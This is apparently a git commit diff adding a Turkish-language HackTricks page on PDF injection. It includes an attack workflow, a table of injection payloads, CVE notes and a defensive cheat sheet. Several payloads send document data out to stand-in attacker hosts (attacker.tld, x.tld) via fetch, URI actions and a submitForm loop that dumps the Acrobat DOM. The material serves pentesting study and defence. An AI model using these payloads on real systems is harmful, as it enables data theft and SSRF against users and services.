mirror of
				https://github.com/HackTricks-wiki/hacktricks.git
				synced 2025-10-10 18:36:50 +00:00 
			
		
		
		
	Translated ['src/pentesting-web/xss-cross-site-scripting/pdf-injection.m
This commit is contained in:
		
							parent
							
								
									f276a19e8b
								
							
						
					
					
						commit
						e6e3f77cf8
					
				@ -1,7 +1,55 @@
 | 
			
		||||
{{#include ../../banners/hacktricks-training.md}}
 | 
			
		||||
 | 
			
		||||
**Eğer girdiniz bir PDF dosyası içinde yansıtılıyorsa, JavaScript çalıştırmak veya PDF içeriğini çalmak için PDF verisi enjekte etmeyi deneyebilirsiniz.**
 | 
			
		||||
 | 
			
		||||
Chec the post: [**https://portswigger.net/research/portable-data-exfiltration**](https://portswigger.net/research/portable-data-exfiltration)
 | 
			
		||||
# PDF Injection
 | 
			
		||||
 | 
			
		||||
{{#include ../../banners/hacktricks-training.md}}
 | 
			
		||||
 | 
			
		||||
**Eğer girdiniz bir PDF dosyası içinde yansıtılıyorsa, JavaScript çalıştırmak, SSRF gerçekleştirmek veya PDF içeriğini çalmak için PDF verisi enjekte etmeyi deneyebilirsiniz.**
 | 
			
		||||
PDF sözdizimi son derece hoşgörülüdür – eğer girdinizi gömülü olduğu dizeden veya sözlükten çıkarabilirseniz, Acrobat/Chrome'un memnuniyetle ayrıştıracağı tamamen yeni nesneler (veya aynı nesnede yeni anahtarlar) ekleyebilirsiniz.
 | 
			
		||||
2024'ten itibaren bir dizi hata ödülü raporu, *bir kaçış karakteri olmayan parantez veya ters eğik çizginin tam script çalıştırmak için yeterli olduğunu* göstermiştir.
 | 
			
		||||
 | 
			
		||||
## TL;DR – Modern Saldırı İş Akışı (2024)
 | 
			
		||||
1. Oluşturulan PDF'de **(parantez dizesi)**, `/URI ( … )` veya `/JS ( … )` alanında sona eren herhangi bir kullanıcı kontrolündeki değeri bulun.
 | 
			
		||||
2. Dizeyi kapatmak için `) ` enjekte edin ve ardından aşağıdaki ilkelere birini ekleyin ve sözdizimini geçerli tutmak için başka bir açılış parantezi ile bitirin.
 | 
			
		||||
3. Kötü niyetli PDF'yi bir kurbanına (veya dosyayı otomatik olarak işleyen bir arka uç hizmetine – kör hatalar için harika) teslim edin.
 | 
			
		||||
4. Yüklemeniz PDF görüntüleyicide çalışır:
 | 
			
		||||
* Chrome / Edge → PDFium Sandbox
 | 
			
		||||
* Firefox → PDF.js (bkz. CVE-2024-4367)
 | 
			
		||||
* Acrobat → Tam JavaScript API (arbitrary dosya içeriklerini `this.getPageNthWord` ile dışarı aktarabilir)
 | 
			
		||||
 | 
			
		||||
Örnek (not bağlantısı kaçırma):
 | 
			
		||||
```pdf
 | 
			
		||||
(https://victim.internal/) ) /A << /S /JavaScript /JS (app.alert("PDF pwned")) >> /Next (
 | 
			
		||||
```
 | 
			
		||||
*İlk `)` orijinal URI dizesini kapatır, ardından kullanıcı bağlantıya tıkladığında Acrobat'ın gerçekleştireceği yeni bir **Action** sözlüğü ekleriz.*
 | 
			
		||||
 | 
			
		||||
## Kullanışlı Enjeksiyon Primitifleri
 | 
			
		||||
| Hedef | Yük Paylaşım Parçası | Notlar |
 | 
			
		||||
|------|-----------------|-------|
 | 
			
		||||
| **Açılışta JavaScript** | `/OpenAction << /S /JavaScript /JS (app.alert(1)) >>` | Belge açıldığında anında çalışır (Acrobat'ta çalışır, Chrome'da çalışmaz). |
 | 
			
		||||
| **Bağlantıda JavaScript** | `/A << /S /JavaScript /JS (fetch('https://attacker.tld/?c='+this.getPageNumWords(0))) >>` | `/Link` anotasyonunu kontrol ediyorsanız PDFium & Acrobat'ta çalışır. |
 | 
			
		||||
| **Kör veri sızdırma** | `<< /Type /Action /S /URI /URI (https://attacker.tld/?leak=)` | İçerik çalmak için JS içinde `this.getPageNthWord` ile birleştirin. |
 | 
			
		||||
| **Sunucu Tarafı SSRF** | Yukarıdakiyle aynı ancak dahili bir URL'yi hedefleyin – PDF'nin `/URI`'yi dikkate alan arka ofis hizmetleri tarafından render edildiğinde harika. |
 | 
			
		||||
| **Yeni nesneler için Satır Sonu** | `\nendobj\n10 0 obj\n<< /S /JavaScript /JS (app.alert(1)) >>\nendobj` | Kütüphane yeni satır karakterlerini enjekte etmenize izin veriyorsa tamamen yeni nesneler oluşturabilirsiniz. |
 | 
			
		||||
 | 
			
		||||
## Kör Sayım Hilesi
 | 
			
		||||
Gareth Heyes (PortSwigger), bilinmeyen bir belgedeki her nesneyi sayan bir tek satırlık kod yayınladı – oluşturulan PDF'yi göremediğinizde kullanışlıdır:
 | 
			
		||||
```pdf
 | 
			
		||||
) /JS (for(i in this){try{this.submitForm('https://x.tld?'+i+'='+this[i])}catch(e){}}) /S /JavaScript /A << >> (
 | 
			
		||||
```
 | 
			
		||||
Kod, Acrobat DOM'u üzerinde döngü yapar ve her özellik/değer çifti için dışa açık istekler gönderir, size dosyanın *JSON-benzeri* bir dökümünü verir. Tam teknik için “Portable Data **ex**Filtration” adlı beyaz belgeye bakın.
 | 
			
		||||
 | 
			
		||||
## Gerçek Dünya Hataları (2023-2025)
 | 
			
		||||
* **CVE-2024-4367** – Firefox’un PDF.js sürüm 4.2.67 öncesinde, hazırlanmış bir `/JavaScript` eylemi ile kumandayı aşan rastgele JavaScript yürütmesi.
 | 
			
		||||
* **Hata ödülü 2024-05** – Büyük bir fintech, `/URI`'de yer alan müşteri tarafından sağlanan fatura notlarına izin verdi; `file:///` URI kullanarak iç metadata sunucusuna gösterilen SSRF sonrası rapor $10k ödendi.
 | 
			
		||||
* **CVE-2023-26155** – Sanitasyona tabi tutulmamış PDF yolu üzerinden `node-qpdf` komut enjeksiyonu, PDF katmanından *önce* ters eğik çizgilerin ve parantezlerin kaçışının önemini gösterir.
 | 
			
		||||
 | 
			
		||||
## Savunma Hile Sayfası
 | 
			
		||||
1. **Asla ham kullanıcı girdisini** `(`…`)` dizeleri veya adları içinde birleştirmeyin. PDF spesifikasyonunun §7.3'üne göre `\`, `(`, `)` karakterlerini gerektiği gibi kaçırın veya hex dizeleri `<...>` kullanın.
 | 
			
		||||
2. Bağlantılar oluşturuyorsanız, *tamamen* URL kodlaması yaptığınız `/URI (https://…)` tercih edin; istemci görüntüleyicilerinde `javascript:` şemalarını engelleyin.
 | 
			
		||||
3. PDF'leri son işlemden geçirirken `/OpenAction`, `/AA` (ek eylemler), `/Launch`, `/SubmitForm` ve `/ImportData` sözlüklerini temizleyin veya doğrulayın.
 | 
			
		||||
4. Sunucu tarafında, güvenilmeyen PDF'leri JavaScript ve dış eylemleri kaldıran bir *başsız dönüştürücü* (örneğin, qpdf –decrypt –linearize) ile işleyin.
 | 
			
		||||
5. PDF görüntüleyicilerini güncel tutun; PDF.js < 4.2.67 ve Acrobat Reader, Temmuz 2024 yamanmadan önce basit kod yürütmesine izin verir.
 | 
			
		||||
 | 
			
		||||
## Referanslar
 | 
			
		||||
* Gareth Heyes, “Portable Data exFiltration – XSS for PDFs”, PortSwigger Research (Mayıs 2024 güncellendi). <https://portswigger.net/research/portable-data-exfiltration>
 | 
			
		||||
* Dawid Ryłko, “CVE-2024-4367: Arbitrary JavaScript Execution in PDF.js” (Nisan 2024). <https://dawid.dev/sec/cve-2024-4367-arbitrary-javascript-execution-in-pdf-js>
 | 
			
		||||
{{#include ../../banners/hacktricks-training.md}}
 | 
			
		||||
 | 
			
		||||
		Loading…
	
	
			
			x
			
			
		
	
		Reference in New Issue
	
	Block a user